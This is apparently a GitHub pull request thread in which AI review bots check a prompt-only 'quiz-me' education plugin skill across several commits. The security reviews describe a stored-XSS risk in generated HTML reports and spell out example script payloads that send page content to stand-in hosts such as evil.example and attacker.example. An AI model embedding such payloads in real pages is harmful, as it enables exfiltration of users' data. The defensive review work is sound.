  • Read plugin.json — userConfig trust surface, write-target risks
  • Read evals.json — schema and data-egress concerns
  • Read marketplace.json, README, CHANGELOG, PLUGIN-PHILOSOPHY.md — disclosure / supply-chain
  • Synthesize and post security findings

Security findings

Trust-surface classification: Prompt-only skill addition. No hooks, no executable scripts, no MCP servers, no GitHub Actions changes, no new dependencies. Blast radius is correctly classified as LOW.


Shell snippet in SKILL.md retention-mechanics — injection-safe ✓

SKILL.md lines 89–103: The slug-derivation snippet receives two untrusted inputs — git remote get-url origin output and ${CLAUDE_PROJECT_DIR} — and handles them correctly:

  • The remote URL is captured into $url via $(), then always fed to sed/shasum through printf '%s' "$url" (data argument, not shell) before any further processing.
  • ${CLAUDE_PROJECT_DIR} is double-quoted throughout ("${CLAUDE_PROJECT_DIR}"), preventing word-splitting or glob expansion.
  • The slug's $base component is forced through tr -cs 'a-z0-9' '-', reducing it to alphanumeric+hyphen regardless of input. $hash is 8 hex chars from sha256. Neither component can produce a path-traversal segment.

No injection surface.


SUGGESTION — HTML report: no explicit HTML-encoding requirement for git-sourced content

Confidence: PLAUSIBLE

SKILL.md lines 59–78: The report contract says "synthetic data only — never real secrets or tokens" and "no remote fetch", but contains no instruction to HTML-encode repository-sourced content (file paths, branch names, commit messages, PR titles) before embedding it in the report body.

Scenario: a malicious actor with write access to the consumed repository creates a file named <script>fetch('https://evil.example/?d='+document.cookie)</script>.js or crafts a commit message containing a <script> tag. Claude quotes the name verbatim into the HTML report. The report is opened in a browser via file://, executing the script.

Practical limits: The attacker must already have write access to the repository; file:// pages share no cookie domain (so document.cookie is empty), but the script could exfiltrate other in-page content (the change context and embedded answer key) to an external endpoint — no CSP is placed on the generated report. The victim is the quiz report consumer.

Recommended fix: Add a bullet to the "Report contract" section explicitly requiring Claude to HTML-encode any string drawn from git output (file names, commit messages, branch names, PR titles) before embedding it in the HTML report body and heading elements.

Fix this →


report_library_dir userConfig — no privilege escalation ✓

plugin.json lines 33–38: The write destination is user-controlled and targets the user's own filesystem. Type is correctly declared as directory (not sensitive). The quiz-me/ path segment correctly fences artifacts from teach's workspaces. Platform guardrails enforce additional path constraints on literal non-home paths; the README and SKILL.md both document this limitation correctly.

No privilege escalation or path-traversal risk given user-owned storage.


Data egress, secrets, supply chain — clean ✓

  • No hooks, no code execution trust surface, no MCP servers, no GitHub Actions changes.
  • No external dependencies added or unpinned.
  • quiz_policy and report_library_dir are non-sensitive userConfig entries. No secrets in the diff.
  • The recall <query> action routes to a semantic library search; $ARGUMENTS is not passed to a shell command.
  • Evals contain only test scenario prose — no URLs, no credentials, no external calls.

Summary

One SUGGESTION: the report contract section should explicitly require HTML-encoding of git-sourced strings to close a stored-XSS vector in the local file:// report. All other surfaces are clean — correct quoting in the shell snippet, safe path construction, no new hooks or executable code, no external trust surfaces introduced.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 0359bf8ad7

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread plugins/education/skills/quiz-me/SKILL.md Outdated
Comment thread plugins/education/skills/quiz-me/SKILL.md
… install target, offer routing, repo-tree guard

Address four valid findings from the PR #807 bot reviews (Claude lane +
Codex):

1. The above-threshold command carried a literal <default-branch>
   placeholder. Resolve the default branch from the origin remote first
   (git remote show origin | awk '/HEAD branch/'), then diff against the
   merge-base, so the command runs as written.
2. The headless install examples omitted the required plugin argument.
   Add education@melodic-software to the `claude plugin install` commands
   in SKILL.md and README, matching the README Install section.
3. The action router's default row implied generation on every
   invocation. Distinguish who invoked it: a user-initiated invocation is
   acceptance and generates; a model-initiated invocation firing to
   satisfy quiz_policy always/above-threshold is an OFFER that waits for
   acceptance — consistent with the Non-gating posture section.
4. A report_library_dir set to ${CLAUDE_PROJECT_DIR} or inside it would
   write reports into the consuming repo, violating the never-in-repo-tree
   invariant. Add a repo-tree guard to Retention mechanics — resolve the
   dir, refuse it when it is the repo tree, warn, and fall back to the
   ${CLAUDE_PLUGIN_DATA} default — with a matching Gotchas note.

Refs #799.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Y4RMR3G1rHAdNjxTqenVJL
@claude

claude Bot commented Jul 21, 2026

Copy link
Copy Markdown
Contributor

Claude finished @kyle-sexton's task in 2m 2s —— View job


PR Review — feat(education): add quiz-me post-work comprehension-verification skill

  • Gather context and prior review history
  • Read current SKILL.md (latest commit 872f20b)
  • Verify prior-review fixes were applied correctly
  • Check for remaining or new issues
  • Post final review

Verification of 872f20b fixes

All four findings the commit message claims to address are correctly applied:

1. <default-branch> placeholder → self-resolving command
SKILL.md lines 141–142 now reads:

d="$(git remote show origin 2>/dev/null | awk '/HEAD branch/ {print $NF}')"; git diff --stat "$(git merge-base HEAD "$d")"..HEAD

The literal <default-branch> is gone; the command is self-contained and runnable as written. ✅

2. Install command missing plugin argument
Both examples now include education@melodic-software:

  • SKILL.md line 43: claude plugin install education@melodic-software --config KEY=VALUE
  • README.md line 91: claude plugin install education@melodic-software --config quiz_policy=always

3. Offer routing — user-invoked vs model-invoked
SKILL.md lines 58–62 now draws the distinction explicitly:

A user-initiated invocation (/education:quiz-me, or "quiz me") is itself acceptance — generate the report + quiz immediately. A model-initiated invocation that fires to satisfy quiz_policy always/above-threshold is an OFFER — present it and wait for the user to accept before generating anything.

This is consistent with the Non-gating posture section and evals 7 and 8. ✅

4. Repo-tree guard for report_library_dir
SKILL.md lines 117–120 adds:

resolve report_library_dir to an absolute path before writing; if it is ${CLAUDE_PROJECT_DIR} or nested under it, refuse it, warn the user, and fall back to the ${CLAUDE_PLUGIN_DATA} default

Matched by the Gotchas note at line 170. ✅


One remaining open item

Security SUGGESTION (PLAUSIBLE) — HTML-encoding of git-sourced content in reports

The second security review flagged this, and it is not addressed in 872f20b. The Report contract section has no explicit instruction to HTML-encode strings drawn from git output (file names, commit messages, branch names, PR titles) before embedding them in the report.

The threat is narrow — the attacker needs repo write access, and file:// context has no cookies — but without an explicit instruction the behavior depends on Claude's default judgment rather than stated contract. Adding a single bullet to the Report contract would close it definitively:

HTML-encode all git-sourced content (file names, commit messages, branch names, PR titles) before embedding in report body and heading elements — never interpolate them verbatim into HTML tags.

Fix this →

This is a judgment call — the confidence is PLAUSIBLE, not CONFIRMED. The PR is otherwise complete.


Overall assessment

All prior CRITICAL and MINOR findings are resolved. The SKILL.md, evals (8 scenarios covering policy cadence, offer/generate distinction, library boundaries, and boundary handoff), plugin.json, README, and CHANGELOG are internally consistent and correct. The one open item is a defensive hardening suggestion — worth a one-liner addition before merge, but not a blocker if the author judges the implicit-model-behavior sufficient.

@claude

claude Bot commented Jul 21, 2026

Copy link
Copy Markdown
Contributor

Claude finished @kyle-sexton's task in 2m 38s —— View job


Security Review — PR #807 feat(education): add quiz-me post-work comprehension-verification skill

  • Gather context and understand the request
  • Fetch PR diff for latest commit (872f20b)
  • Read SKILL.md — injection surfaces, shell snippet safety, offer routing, repo-tree guard
  • Read plugin.json — userConfig trust surface, write-target risks
  • Read evals.json — schema and data-egress concerns
  • Read marketplace.json, README, CHANGELOG, PLUGIN-PHILOSOPHY.md — disclosure / supply-chain
  • Synthesize and post security findings

Trust-surface classification: Prompt-only skill addition. No hooks, no executable scripts, no MCP servers, no GitHub Actions changes, no new dependencies. Blast radius correctly classified as LOW. The four issues addressed by commit 872f20b (default-branch placeholder, install-command target, offer-routing ambiguity, repo-tree guard) are all correctly resolved.


Shell snippet injection — injection-safe ✓

SKILL.md lines 97–111: The slug-derivation snippet routes both untrusted inputs — the origin remote URL and ${CLAUDE_PROJECT_DIR} — through printf '%s' "$var" before any sed/sha256sum pipe, so shell word-splitting and glob expansion are excluded. ${CLAUDE_PROJECT_DIR} is double-quoted throughout. The $base output is reduced to alphanumeric-plus-hyphen by tr -cs 'a-z0-9' '-'; $hash is 8 hex chars — neither can produce a path-traversal segment. No injection surface.

The threshold command in the same commit now resolves the default branch via d="$(git remote show origin 2>/dev/null | awk '/HEAD branch/ {print $NF}')" and passes it as "$d" — correctly quoted. ✓

Offer routing — correctly distinguished ✓

The previous IMPORTANT finding (Codex, prior Claude review) that the default action row implied generation on every invocation is resolved. SKILL.md lines 58–62 now explicitly branches on who invoked: user-initiated → generate immediately (invocation is acceptance); model-initiated → OFFER and wait. ✓

Repo-tree guard — present; symlink edge case unresolved

Severity: SUGGESTION | Confidence: PLAUSIBLE

SKILL.md lines 117–120:

resolve report_library_dir to an absolute path before writing; if it is ${CLAUDE_PROJECT_DIR} or nested under it, refuse it, warn the user, and fall back to the ${CLAUDE_PLUGIN_DATA} default

The guard instructs Claude to resolve report_library_dir to an absolute path, but the instruction does not mandate canonicalizing ${CLAUDE_PROJECT_DIR} through realpath before comparison. If CLAUDE_PROJECT_DIR itself is a symlink — as it would be in a per-ticket worktree cloned via git worktree add that uses symlinks — a report_library_dir set to the symlink-resolved path would compare unequal to the unresolved CLAUDE_PROJECT_DIR and the guard would silently pass, allowing the report to land in the repo tree.

This is an instruction-level guard in a prompt-only skill (no enforcement code), so the failure mode is limited: it can only occur when a user deliberately sets report_library_dir to a symlink resolving into their own repo, and the consequence (report in the tree) is non-catastrophic. Still worth noting so a future revision requiring realpath on both sides closes it.

Fix this →

HTML report — stored-XSS vector still unaddressed

Severity: SUGGESTION | Confidence: PLAUSIBLE

This finding was raised in both prior security reviews and is still unresolved after commit 872f20b.

SKILL.md lines 66–85: The report contract says "synthetic data only — never real secrets or tokens" and prohibits remote fetch, but contains no requirement to HTML-encode repository-sourced content (file paths, branch names, commit messages, PR titles) before embedding it in the report.

Scenario: a developer with write access to the consumed repository creates a commit message or file name containing <script>fetch('https://attacker.example/?d='+document.documentElement.innerText)</script>. Claude includes it verbatim in the HTML report. When the user opens the report via file://, the script executes in the browser context and can exfiltrate the report body — which includes the change context, architectural decisions, and the embedded answer key. Modern browsers restrict fetch() from file:// pages via CORS, but the exact policy varies by browser and many permit same-origin file:// requests or do not block all cross-origin destinations.

The attacker must already have write access to the repository (to craft the commit), which limits the practical attack surface. But the fix is a single-sentence requirement in the Report contract section.

Fix this →

report_library_dir userConfig — no privilege escalation ✓

plugin.json lines 33–38: User-controlled write target on the user's own filesystem; type correctly declared as directory (not sensitive). The quiz-me/ path segment fences artifacts off from teach's workspaces. Platform guardrails enforce additional path constraints for literal non-home paths; SKILL.md and README document this limitation. No privilege escalation path. ✓

Data egress, supply chain — clean ✓

No hooks, no scripts, no MCP servers, no GitHub Actions changes. No new external dependencies. quiz_policy and report_library_dir are non-sensitive userConfig entries. Evals contain only test scenario prose. The recall <query> action does not pipe query text to any shell command. ✓


Summary

No critical or important security issues. Two carry-over SUGGESTION-severity findings remain open (HTML-encoding of git-sourced content in reports; canonicalize both sides of the repo-tree guard comparison). The four findings addressed by the latest commit are correctly resolved. The PR's blast-radius LOW classification holds.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 872f20b93e

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread plugins/education/skills/quiz-me/SKILL.md Outdated
Comment thread plugins/education/skills/quiz-me/SKILL.md Outdated
The bot-review fix that added the plugin target to the SKILL.md install
example hardcoded education@melodic-software, which the plugin-contracts
gate bans in skills/**/*.md — reusable skill content must not require a
publisher-specific runtime identifier. Replace it with the
marketplace-agnostic placeholder education@<marketplace>. The README
Install section legitimately names the marketplace and is not scanned by
this rule; left as committed.

Refs #799.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Y4RMR3G1rHAdNjxTqenVJL
@claude

claude Bot commented Jul 21, 2026

Copy link
Copy Markdown
Contributor

Claude finished @kyle-sexton's task in 2m 17s —— View job


PR Review: feat(education): add quiz-me post-work comprehension-verification skill

  • Gather context and understand the request
  • Read current SKILL.md (HEAD 054b2e6)
  • Read plugin.json, evals.json, README, CHANGELOG
  • Verify marketplace-agnostic fix resolves Codex P1
  • Assess remaining open findings
  • Post final review

Verification of 054b2e6 fix

The latest commit correctly resolves the Codex P1 finding. The hardcoded education@melodic-software in SKILL.md line 43 is replaced with education@<marketplace> (a neutral placeholder with a parenthetical), while the README is correctly left untouched — the README's Install section legitimately names the publisher marketplace and is not scanned by the plugin-contracts gate. The commit message explains the rationale precisely. ✅

All prior CRITICAL and MINOR findings across four review rounds are confirmed resolved:

  • docs/topics/education-quiz-me/ contract-slice pruned ✅
  • <default-branch> placeholder → self-resolving awk command ✅
  • Install command missing plugin target (SKILL.md + README) ✅
  • Offer routing ambiguity (user-initiated vs. model-initiated) ✅
  • Repo-tree guard for report_library_dir
  • Protocol-agnostic SSH/HTTPS slug normalization ✅
  • quiz-me naming exception entry in docs/PLUGIN-PHILOSOPHY.md
  • Policy evals (above-threshold, always+decline) ✅
  • Publisher-specific ID in reusable skill body (Codex P1) ✅

Remaining findings (SUGGESTION severity)

Finding 1 — SUGGESTION/MINOR: Threshold command may fail in PR worktrees without a local default branch

SKILL.md lines 141–142:

d="$(git remote show origin 2>/dev/null | awk '/HEAD branch/ {print $NF}')"; git diff --stat "$(git merge-base HEAD "$d")"..HEAD

Codex flagged this, and it remains. git remote show origin correctly resolves the default branch name (e.g. main) into $d, but git merge-base HEAD "$d" requires $d to resolve as a commit — and in a fresh PR worktree (from git worktree add or a shallow CI clone), only the tracking branch origin/main exists, not a local main. The command silently fails to produce a stat, so an above-threshold offer never fires.

Fix: prefix with origin/ when resolving: git merge-base HEAD "origin/$d". Or add a fallback: git merge-base HEAD "${d:+origin/$d}" 2>/dev/null || git merge-base HEAD HEAD.

Fix this →

Finding 2 — SUGGESTION (PLAUSIBLE): HTML-encoding of git-sourced content in reports

SKILL.md lines 64–85

Raised by both prior security reviews; still unresolved. The Report contract has no instruction to HTML-encode strings drawn from git output (file names, commit messages, branch names, PR titles) before embedding them in the HTML report. An attacker with repo write access could craft a commit message containing <script>…</script> that exfiltrates report content when opened via file://.

Attack surface is narrow (attacker needs write access; file:// context has no shared cookie domain), but the fix is a single bullet and closes it definitively rather than relying on model defaults:

HTML-encode all git-sourced strings (file paths, branch names, commit messages, PR titles) before embedding in HTML body or heading elements — never interpolate them verbatim.

Fix this →

Finding 3 — SUGGESTION (PLAUSIBLE): Repo-tree guard should canonicalize both sides

SKILL.md lines 117–120

The guard resolves report_library_dir to an absolute path before comparing against ${CLAUDE_PROJECT_DIR}, but does not canonicalize CLAUDE_PROJECT_DIR itself. In a git worktree where CLAUDE_PROJECT_DIR is itself a symlink, the comparison fails: report_library_dir resolves to the real path, CLAUDE_PROJECT_DIR stays unresolved, they compare unequal, and the guard silently passes — allowing a report to land in the repo tree.

Fix: canonicalize both sides with realpath before comparing.

Fix this →


Strengths

The skill is well-executed and internally consistent across all layers:

  • SKILL.md (192 lines, 825/1536 description chars) is tight, clear, and coherent. Trigger phrases are present verbatim. The action router, report contract, retention mechanics, non-gating posture, and recall coverage boundary are all consistent with each other and with the evals.
  • Slug derivation (lines 96–110) is sound: sha256sum/shasum -a 256 cross-platform fallback, SSH/HTTPS normalization via scheme/userinfo stripping, tr -cs 'a-z0-9' '-' reduction, quiz-me/ path fence against teach's workspaces.
  • Evals (8 scenarios) cover all critical behavioral contracts: canonical trigger, default non-gating, off suppresses offers, artifact retention to CLAUDE_PLUGIN_DATA, recall library-first with coverage boundary named, artifact-verification boundary handoff, above-threshold offers-not-generates, always+decline produces no report.
  • plugin.json userConfig is correctly structured: quiz_policy has type/title/description/default; report_library_dir has type directory with no default (preserving zero-config). Version 0.5.0 and CHANGELOG entry are present and consistent.
  • README correctly replaces the old "no userConfig" claim with a complete Configuration section. The education@melodic-software in the README Install section is publisher-appropriate and correctly excluded from the plugin-contracts gate.
  • Security posture is clean: prompt-only skill, no hooks, no executable trust surface, no remote MCP, no new dependencies.

Summary

All prior CRITICAL and MINOR findings are resolved, including the Codex P1 marketplace-agnostic fix in the latest commit. Three SUGGESTION-level items remain (threshold command in PR worktrees, HTML-encoding of git-sourced content, symlink edge case in repo-tree guard) — none are blockers, and all three are one-liner additions to the SKILL.md Report contract or Retention mechanics sections. The PR is ready to merge; the suggestions are worth applying but not blocking.
| Branch

@claude

claude Bot commented Jul 21, 2026

Copy link
Copy Markdown
Contributor

Claude finished @kyle-sexton's task in 2m 25s —— View job


Security Review — PR #807 feat(education): add quiz-me post-work comprehension-verification skill

  • Gather context and prior review history
  • Read PR diff at HEAD (054b2e6)
  • Read SKILL.md (full, latest commit)
  • Verify prior open findings — HTML-encoding, symlink guard, default-branch resolution
  • Check 054b2e6 fix for marketplace-agnostic install examples
  • Synthesize and post findings

Trust-surface classification: Prompt-only skill addition. No hooks, no executable scripts, no MCP servers, no GitHub Actions changes, no new dependencies. Blast radius correctly classified as LOW. The latest commit (054b2e6) changes two lines of documentation text in SKILL.md — no new trust surface.


054b2e6 — marketplace-agnostic placeholder change ✓

The only change in the HEAD commit replaces education@melodic-software with education@<marketplace> on SKILL.md lines 43–44. The angle-bracket token is documentation prose inside a fenced code block — it is inert text that cannot be interpreted as a shell expansion or HTML. No security implications.

Shell slug-derivation snippet — injection-safe ✓

SKILL.md lines 96–111: Both untrusted inputs — the origin remote URL and ${CLAUDE_PROJECT_DIR} — are handled correctly. The remote URL is captured into $url via command substitution, then always passed through printf '%s' "$url" (data, not a shell command) into the sed/sha256sum pipeline. ${CLAUDE_PROJECT_DIR} is double-quoted throughout. $base is squeezed to alphanumeric-plus-hyphen by tr -cs 'a-z0-9' '-'; $hash is 8 hex chars — neither can produce a traversal segment. No injection surface found.

Threshold command — injection-safe ✓

SKILL.md lines 141–142: d is populated by awk over git remote show origin output and passed as "$d" — correctly quoted, no shell expansion of remote-controlled data. The prior Codex P2 about a missing local branch in a detached-HEAD worktree is a reliability concern, not a security one (the worst outcome is git merge-base failing and no threshold offer firing). No security issue.

report_library_dir userConfig — no privilege escalation ✓

plugin.json lines 33–37: User-controlled write destination on the user's own filesystem; type directory, not sensitive. The quiz-me/ path segment correctly fences artifacts from teach's workspaces in the shared plugin data dir. The repo-tree guard at SKILL.md lines 117–120 refuses writes into ${CLAUDE_PROJECT_DIR} or below it.

recall <query> action — no shell passthrough ✓

The action routes the query to a semantic library search; there is no instruction that passes $ARGUMENTS into a shell command. No injection surface.

Data egress, supply chain — clean ✓

No hooks, no scripts, no MCP servers, no GitHub Actions changes. No external dependencies added. Evals contain only test-scenario prose. No secrets in any changed file.


Open carry-over findings from prior security reviews

Both were first raised in the prior reviews and are still unresolved at HEAD.


SUGGESTION (PLAUSIBLE): HTML report — git-sourced content not required to be HTML-encoded

SKILL.md lines 66–85: The Report contract prohibits remote fetch and real secrets, but carries no instruction to HTML-encode strings drawn from git output (file paths, branch names, commit messages, PR titles) before embedding them in the HTML report.

Scenario: a collaborator with write access to the consumed repository creates a commit message containing <script>fetch('https://attacker.example/?d='+document.documentElement.innerText)</script>. Claude quotes it verbatim into the HTML report body. When the user opens the report via file://, the script executes in the browser context and can attempt to exfiltrate the report body — which contains the change context, architectural decisions, and the embedded answer key.

Limiting factors: the attacker needs existing repo write access; Chrome and Firefox restrict cross-origin fetch() from file:// by default, narrowing exfiltration paths. The failure mode is limited in practice but the fix is a single instruction line in the Report contract, and Claude cannot be assumed to HTML-encode by default unless the skill says so explicitly.

Recommended addition to the Report contract section (after the "Reference discipline" bullet):

HTML-encode all git-sourced strings (file paths, branch names, commit messages, PR titles) before embedding them in report body and heading elements — never interpolate them verbatim into HTML tags.

Fix this →


SUGGESTION (PLAUSIBLE): Repo-tree guard — ${CLAUDE_PROJECT_DIR} not canonicalized before comparison

SKILL.md lines 117–120: The guard resolves report_library_dir to an absolute path before comparing it against ${CLAUDE_PROJECT_DIR}, but does not require canonicalizing ${CLAUDE_PROJECT_DIR} itself (e.g. via realpath). When Claude Code launches from a symlinked worktree root (as this repo's per-ticket worktrees may be), the unresolved ${CLAUDE_PROJECT_DIR} value is the symlink path; a report_library_dir set to the realpath of the same directory compares unequal and the guard silently passes, permitting the report to land in the repo tree.

Limiting factors: the scenario requires a user who both configures report_library_dir to point into their repo and works from a symlinked root — an uncommon coincidence. And the consequence (a report written inside the repo tree) is a policy violation, not a privilege escalation. Still worth a one-line hardening of the guard.

Recommended change to the repo-tree guard bullet: add "canonicalize ${CLAUDE_PROJECT_DIR} via realpath (or equivalent) before the comparison — so symlinked worktree roots are detected correctly."

Fix this →


Summary

No CRITICAL or IMPORTANT security issues at HEAD. The latest commit introduces no new attack surface. Two carry-over SUGGESTION-severity findings remain open — HTML-encoding of git-sourced content in the generated report (a stored-XSS vector requiring repo write access to exploit) and the symlink bypass edge case in the repo-tree guard — both PLAUSIBLE rather than CONFIRMED. These are hardening suggestions; the PR is otherwise ready on security grounds.

@kyle-sexton
kyle-sexton enabled auto-merge (squash) July 21, 2026 07:56

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 054b2e6118

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread plugins/education/skills/quiz-me/SKILL.md Outdated
Two P2 findings from the PR #807 Codex review:

1. The above-threshold command resolved the default branch name but
   diffed against a bare local ref, which does not exist in a PR worktree
   that only fetched origin/main — git merge-base then errored. Qualify
   with the remote-tracking ref (origin/$d), and state that when origin
   is absent the threshold is unjudgeable and the skill offers nothing.
2. The action router advertised free-text invocation ("quiz me on this
   change") but defined only a no-args default and recall, leaving any
   non-recall argument unrouted. Make recall the only reserved first
   token; everything else — including empty — is the default action, with
   argument text taken as context describing the change to quiz on.

Refs #799.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Y4RMR3G1rHAdNjxTqenVJL
@claude

claude Bot commented Jul 21, 2026

Copy link
Copy Markdown
Contributor

Claude finished @kyle-sexton's task in 3m 2s —— View job


Security Review — PR #807 feat(education): add quiz-me post-work comprehension-verification skill

  • Gather context and understand the request
  • Fetch PR diff at HEAD (bde4056e)
  • Read SKILL.md (full, latest commit)
  • Verify status of carry-over open findings
  • Check for new issues introduced in latest commit
  • Synthesize and post findings

Trust-surface classification: Prompt-only skill addition. No hooks, no executable scripts, no MCP servers, no GitHub Actions changes, no new dependencies. Blast radius correctly classified as LOW.

The latest commit (bde4056e) changes two things in SKILL.md: the action router definition (making recall the only reserved first token) and the threshold command (qualifying the merge-base ref with origin/). Neither introduces a new trust surface.


Threshold command — injection-safe ✓

SKILL.md lines 144–146:

d="$(git remote show origin 2>/dev/null | awk '/HEAD branch/ {print $NF}')"; git diff --stat "$(git merge-base HEAD "origin/$d")"..HEAD

$d is populated by awk from git remote show origin output. In the worst case an attacker-controlled remote returns a crafted HEAD branch: value. However, $d is consumed exclusively as "origin/$d" inside a $(...) command-substitution context — double-quoted, so its contents are not re-parsed for shell metacharacters. A value like main; rm -rf / becomes the literal argument string origin/main; rm -rf / to git merge-base, which simply fails to resolve the ref. No command injection. ✓

Slug-derivation shell snippet — injection-safe ✓

SKILL.md lines 99–112: Both untrusted inputs — the origin remote URL and ${CLAUDE_PROJECT_DIR} — are routed through printf '%s' "$var" into sed/sha256sum pipelines (data, not shell). $base is reduced to alphanumeric-plus-hyphen by tr -cs 'a-z0-9' '-'; $hash is 8 hex chars. Neither can produce a path-traversal or injection segment. ${CLAUDE_PROJECT_DIR} is double-quoted throughout. ✓

Action router change — no new surface ✓

The routing change ("recall" is the only reserved first token; anything else is the default action) is prose semantics only. There is no instruction that passes $ARGUMENTS into a shell command. ✓

report_library_dir userConfig — no privilege escalation ✓

plugin.json lines 33–37: User-controlled write destination on the user's own filesystem; type declared as directory, not sensitive. The quiz-me/ path segment fences artifacts from teach's workspaces. The repo-tree guard refuses writes into ${CLAUDE_PROJECT_DIR} or below it. ✓

Data egress, supply chain — clean ✓

No hooks, no scripts, no MCP servers, no GitHub Actions changes. No external dependencies added. Evals contain only test-scenario prose. recall <query> does not pipe arguments into a shell command. ✓


Open carry-over findings

Both were first raised by the second security review and remain unresolved at HEAD.


SUGGESTION (PLAUSIBLE): HTML report — git-sourced strings not required to be HTML-encoded

SKILL.md lines 66–87 — the Report contract prohibits remote fetch and real secrets, but has no instruction to HTML-encode strings drawn from git output (file paths, branch names, commit messages, PR titles) before embedding them in the HTML report body.

Scenario: a collaborator with write access to the consumed repository creates a commit message containing <script>fetch('https://attacker.example/?d='+document.documentElement.innerText)</script>. Claude quotes it verbatim into the HTML report. When the user opens the report via file://, the script runs in the browser context and can attempt to exfiltrate report body content — which includes the change context, architectural decisions, and the embedded answer key.

Limiting factors: the attacker needs existing repo write access; modern browsers restrict cross-origin fetch() from file:// pages by default (Chrome enforces this; Firefox and Safari behavior varies). The fix is a single instruction bullet in the Report contract section — it closes the surface definitively rather than relying on model defaults.

Recommended addition (after the "Reference discipline" bullet at line 87):

HTML-encode all git-sourced strings (file paths, branch names, commit messages, PR titles) before embedding them in report body and heading elements — never interpolate them verbatim into HTML tags.

Fix this →


SUGGESTION (PLAUSIBLE): Repo-tree guard — ${CLAUDE_PROJECT_DIR} not canonicalized before comparison

SKILL.md lines 119–122: The guard resolves report_library_dir to an absolute path before comparing against ${CLAUDE_PROJECT_DIR}, but the instruction does not require canonicalizing ${CLAUDE_PROJECT_DIR} itself. In a git worktree where Claude Code's working directory is a symlink to the repo root, ${CLAUDE_PROJECT_DIR} holds the symlink path. A report_library_dir set to the resolved (realpath) form of the same directory compares unequal to the unresolved ${CLAUDE_PROJECT_DIR}, the guard silently passes, and the report writes into the repo tree.

Limiting factors: this requires the user to deliberately set report_library_dir to a path that resolves into their repo AND be working from a symlinked worktree root — an unlikely coincidence. Consequence is a policy violation (report in tree), not a privilege escalation. The fix is extending the guard bullet to require realpath (or equivalent) on both sides.

Recommended wording change for the guard bullet:

resolve both report_library_dir and ${CLAUDE_PROJECT_DIR} to their canonical absolute paths (via realpath or equivalent) before comparing — so a symlinked worktree root does not bypass the guard.

Fix this →


Summary

No CRITICAL or IMPORTANT security issues at HEAD. The latest commit (bde4056e) is injection-safe and introduces no new trust surfaces. Two SUGGESTION-severity carry-over findings remain open — the HTML-encoding instruction gap in the Report contract, and the symlink edge case in the repo-tree guard — both PLAUSIBLE and both fixable with a one-line addition to the SKILL.md. The PR's blast-radius LOW classification and the no-security-review-re-trigger conclusion hold.
| Branch

@claude

claude Bot commented Jul 21, 2026

Copy link
Copy Markdown
Contributor

Claude finished @kyle-sexton's task in 2m 5s —— View job


PR Review: feat(education): add quiz-me post-work comprehension-verification skill

  • Gather context and prior review history
  • Read current SKILL.md (HEAD bde4056e)
  • Read plugin.json, evals.json, README, CHANGELOG
  • Verify all prior-round fixes are applied
  • Assess remaining open findings
  • Post final review

Verification of bde4056e fixes

Both issues the commit message claims to address are correctly applied in the current SKILL.md:

1. Threshold merge-base uses remote-tracking ref
SKILL.md lines 144–145 now reads:

d="$(git remote show origin 2>/dev/null | awk '/HEAD branch/ {print $NF}')"; git diff --stat "$(git merge-base HEAD "origin/$d")"..HEAD

origin/$d correctly resolves in PR worktrees that have no local main/master branch. ✅

2. Argument routing — recall is the only reserved token
SKILL.md lines 51–53:

recall is the ONLY reserved first token. Anything else — including no arguments — is the default action, with any argument text taken as context describing the change to quiz on.

The advertised form /education:quiz-me on this change now correctly routes to the quiz flow. ✅


Status of all prior findings

Finding Source Round Status
docs/topics/education-quiz-me/ not pruned Claude review 1 ✅ Fixed 0359bf8
<default-branch> placeholder in threshold command Claude review 1 ✅ Fixed 872f20b
Install command missing plugin target Codex P2 / Claude 1–2 ✅ Fixed 872f20b
Model-initiated offer → should not auto-generate Codex P2 2 ✅ Fixed 872f20b
Repo-tree guard for report_library_dir Codex P2 2 ✅ Fixed 872f20b
Publisher-specific ID in reusable skill body Codex P1 3 ✅ Fixed 054b2e6
Threshold origin/$d missing in PR worktrees Codex P2 3 ✅ Fixed bde4056
Non-recall arguments silently dropped Codex P2 4 ✅ Fixed bde4056
Protocol-agnostic SSH/HTTPS slug normalization Claude ✅ Fixed ac9c875
quiz-me naming exception in PLUGIN-PHILOSOPHY.md Claude ✅ Fixed ac9c875
Policy evals (above-threshold, always+decline) Claude ✅ Fixed ac9c875

Remaining findings (SUGGESTION / PLAUSIBLE)

Both were raised in multiple prior security review passes and remain unresolved at HEAD. Neither is a blocker — both are one-liner additions to SKILL.md.

Finding 1 — SUGGESTION (PLAUSIBLE): HTML-encoding of git-sourced content in reports

SKILL.md lines 66–87: The Report contract prohibits remote fetch and real secrets, but contains no instruction to HTML-encode strings drawn from git output (file paths, branch names, commit messages, PR titles) before embedding them in the report body.

